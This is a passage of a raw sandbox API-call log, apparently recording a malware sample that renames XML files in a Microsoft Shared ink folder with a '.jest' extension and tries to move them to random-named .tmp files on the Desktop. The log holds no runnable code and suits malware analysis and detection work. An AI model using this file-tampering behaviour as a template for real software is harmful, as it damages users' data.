[0145.513] VarBstrFromR4 (in: fltIn=0x47944da4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.28") returned 0x0 [0145.513] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.513] CoFreeUnusedLibraries () [0145.513] GetTickCount () returned 0x1156336 [0145.513] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.513] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.513] GetTickCount () returned 0x1156336 [0145.513] IsWindowVisible (hWnd=0x30268) returned 0 [0145.513] Sleep (dwMilliseconds=0x0) [0145.514] GetFullPathNameA (in: lpFileName="ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp", lpFilePart=0x18e708*="ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp") returned 0x8e [0145.514] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpFilePart=0x18e708*="ipsptb.xml") returned 0x3d [0145.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\onzbqbbl2sdyn0x9qvxfcoyp3byme3wpafd398z9_k0is4yktc42yccarwwlqy28jtv2sxgo_o9slgxfs_gsm69miw-eiucvsbbq.tmp")) returned 0 [0145.514] GetLastError () returned 0x5 [0145.514] GetLastError () returned 0x5 [0145.514] SetLastError (dwErrCode=0x5) [0145.514] GetLastError () returned 0x5 [0145.514] SetLastError (dwErrCode=0x5) [0145.514] GetLastError () returned 0x5 [0145.514] SetLastError (dwErrCode=0x5) [0145.514] GetFullPathNameA (in: lpFileName="ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp", lpFilePart=0x18e6e4*="ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp") returned 0x8e [0145.515] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ONzbQBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x627a4e4f, cFileName="QBBL2SDyN0x9QvXFcOYP3bYME3wPAfd398z9_K0is4yktc42YccARwWLqy28JTV2sxGO_o9slgxFS_gsM69Miw-EiuCvsbbQ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.515] GetLastError () returned 0x2 [0145.515] GetLastError () returned 0x2 [0145.515] SetLastError (dwErrCode=0x2) [0145.515] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.515] CoFreeUnusedLibraries () [0145.515] GetTickCount () returned 0x1156336 [0145.515] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.515] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.515] GetTickCount () returned 0x1156336 [0145.515] IsWindowVisible (hWnd=0x30268) returned 0 [0145.515] Sleep (dwMilliseconds=0x0) [0145.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.jest")) returned 0 [0145.516] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpFilePart=0x18e6d8*="ipsptg.xml") returned 0x3d [0145.516] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 0x143ce48 [0145.516] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55e4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.516] VarBstrFromR4 (in: fltIn=0x47944da4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.28") returned 0x0 [0145.517] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.517] CoFreeUnusedLibraries () [0145.517] GetTickCount () returned 0x1156336 [0145.517] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.517] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.517] GetTickCount () returned 0x1156336 [0145.517] IsWindowVisible (hWnd=0x30268) returned 0 [0145.517] Sleep (dwMilliseconds=0x0) [0145.517] GetFullPathNameA (in: lpFileName="rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp", lpFilePart=0x18e708*="rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp") returned 0x8e [0145.517] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpFilePart=0x18e708*="ipsptg.xml") returned 0x3d [0145.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rjgxazy jeuc1zwfhkq5mssw1 oqz_lu4-u97sirxrrcmoykimvwycwlggmyhi8i3yibzdbrepkvelu8hcomkibhj96sy bub6dd.tmp")) returned 0 [0145.518] GetLastError () returned 0x5 [0145.518] GetLastError () returned 0x5 [0145.518] SetLastError (dwErrCode=0x5) [0145.518] GetLastError () returned 0x5 [0145.518] SetLastError (dwErrCode=0x5) [0145.518] GetLastError () returned 0x5 [0145.518] SetLastError (dwErrCode=0x5) [0145.518] GetFullPathNameA (in: lpFileName="rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp", lpFilePart=0x18e6e4*="rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp") returned 0x8e [0145.518] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rJGxazY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78474a72, cFileName="azY JeUc1ZWFhkq5mSsw1 OqZ_lU4-U97SIRXrRcmOykImVwYcwlggMyHi8i3yIBzdBRepkVelU8HcOmkIbhj96Sy buB6DD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.518] GetLastError () returned 0x2 [0145.518] GetLastError () returned 0x2 [0145.518] SetLastError (dwErrCode=0x2) [0145.519] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.519] CoFreeUnusedLibraries () [0145.519] GetTickCount () returned 0x1156336 [0145.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.519] GetTickCount () returned 0x1156336 [0145.519] IsWindowVisible (hWnd=0x30268) returned 0 [0145.519] Sleep (dwMilliseconds=0x0) [0145.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.jest")) returned 0 [0145.520] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpFilePart=0x18e6d8*="ipsrom.xml") returned 0x3d [0145.520] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 0x143ce48 [0145.520] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55bc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.520] VarBstrFromR4 (in: fltIn=0x47944da4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.28") returned 0x0 [0145.520] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.520] CoFreeUnusedLibraries () [0145.520] GetTickCount () returned 0x1156336 [0145.520] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.521] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.521] GetTickCount () returned 0x1156336 [0145.521] IsWindowVisible (hWnd=0x30268) returned 0 [0145.521] Sleep (dwMilliseconds=0x0) [0145.521] GetFullPathNameA (in: lpFileName="x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp", lpFilePart=0x18e708*="x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp") returned 0x8e [0145.521] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpFilePart=0x18e708*="ipsrom.xml") returned 0x3d [0145.521] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x5nr7xi8djjtx1hc5yic0ks-ua_gm5-xg- e9pdm92paz00rcbqslplq1fhgo1wu-tcgnfzykvhe76qfjfwokomvuvi-ik2yapde.tmp")) returned 0 [0145.521] GetLastError () returned 0x5 [0145.522] GetLastError () returned 0x5 [0145.522] SetLastError (dwErrCode=0x5) [0145.522] GetLastError () returned 0x5 [0145.522] SetLastError (dwErrCode=0x5) [0145.522] GetLastError () returned 0x5 [0145.522] SetLastError (dwErrCode=0x5) [0145.522] GetFullPathNameA (in: lpFileName="x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp", lpFilePart=0x18e6e4*="x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp") returned 0x8e [0145.522] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x5Nr7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x724e3578, cFileName="7XI8DJJTx1hC5YiC0ks-UA_GM5-XG- E9PDm92paz00rcbqslPlQ1fhgO1wU-TcgnFZykvHe76qFJFWoKOMvuVI-iK2YApDe.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.522] GetLastError () returned 0x2 [0145.522] GetLastError () returned 0x2 [0145.522] SetLastError (dwErrCode=0x2) [0145.522] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.522] CoFreeUnusedLibraries () [0145.523] GetTickCount () returned 0x1156336 [0145.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.523] GetTickCount () returned 0x1156336 [0145.523] IsWindowVisible (hWnd=0x30268) returned 0 [0145.523] Sleep (dwMilliseconds=0x0) [0145.523] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.jest")) returned 0 [0145.523] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpFilePart=0x18e6d8*="ipsrus.xml") returned 0x3d [0145.523] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 0x143ce48 [0145.523] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.524] VarBstrFromR4 (in: fltIn=0x47944da4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.28") returned 0x0 [0145.524] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.524] CoFreeUnusedLibraries () [0145.524] GetTickCount () returned 0x1156336 [0145.524] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.524] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.524] GetTickCount () returned 0x1156336 [0145.524] IsWindowVisible (hWnd=0x30268) returned 0 [0145.524] Sleep (dwMilliseconds=0x0) [0145.524] GetFullPathNameA (in: lpFileName="FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp", lpFilePart=0x18e708*="FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp") returned 0x8e [0145.525] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpFilePart=0x18e708*="ipsrus.xml") returned 0x3d [0145.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fwx0z8gkk6bzc415nlpmx ozqqzrkrhllmvkt xsuglxij2r8trhnicfudijg1rjmd5lpu e_ 3sp5jzfgqkz67g9d6y1yhae0oq.tmp")) returned 0 [0145.525] GetLastError () returned 0x5 [0145.525] GetLastError () returned 0x5 [0145.525] SetLastError (dwErrCode=0x5) [0145.525] GetLastError () returned 0x5 [0145.525] SetLastError (dwErrCode=0x5) [0145.525] GetLastError () returned 0x5 [0145.525] SetLastError (dwErrCode=0x5) [0145.526] GetFullPathNameA (in: lpFileName="FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp", lpFilePart=0x18e6e4*="FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp") returned 0x8e [0145.526] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FwX0z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x30587746, cFileName="z8GKK6Bzc415nlpmX OZQQZRkrHLlmvkT xsUGLXIJ2r8trhNICfUDIjG1RJMd5lPu E_ 3sP5jzfgQKZ67G9D6y1yHAE0OQ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.527] GetLastError () returned 0x2 [0145.527] GetLastError () returned 0x2 [0145.527] SetLastError (dwErrCode=0x2) [0145.527] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.527] CoFreeUnusedLibraries () [0145.527] GetTickCount () returned 0x1156346 [0145.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.527] GetTickCount () returned 0x1156346 [0145.527] IsWindowVisible (hWnd=0x30268) returned 0 [0145.527] Sleep (dwMilliseconds=0x0) [0145.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.jest")) returned 0 [0145.529] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpFilePart=0x18e6d8*="ipssrb.xml") returned 0x3d [0145.529] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, 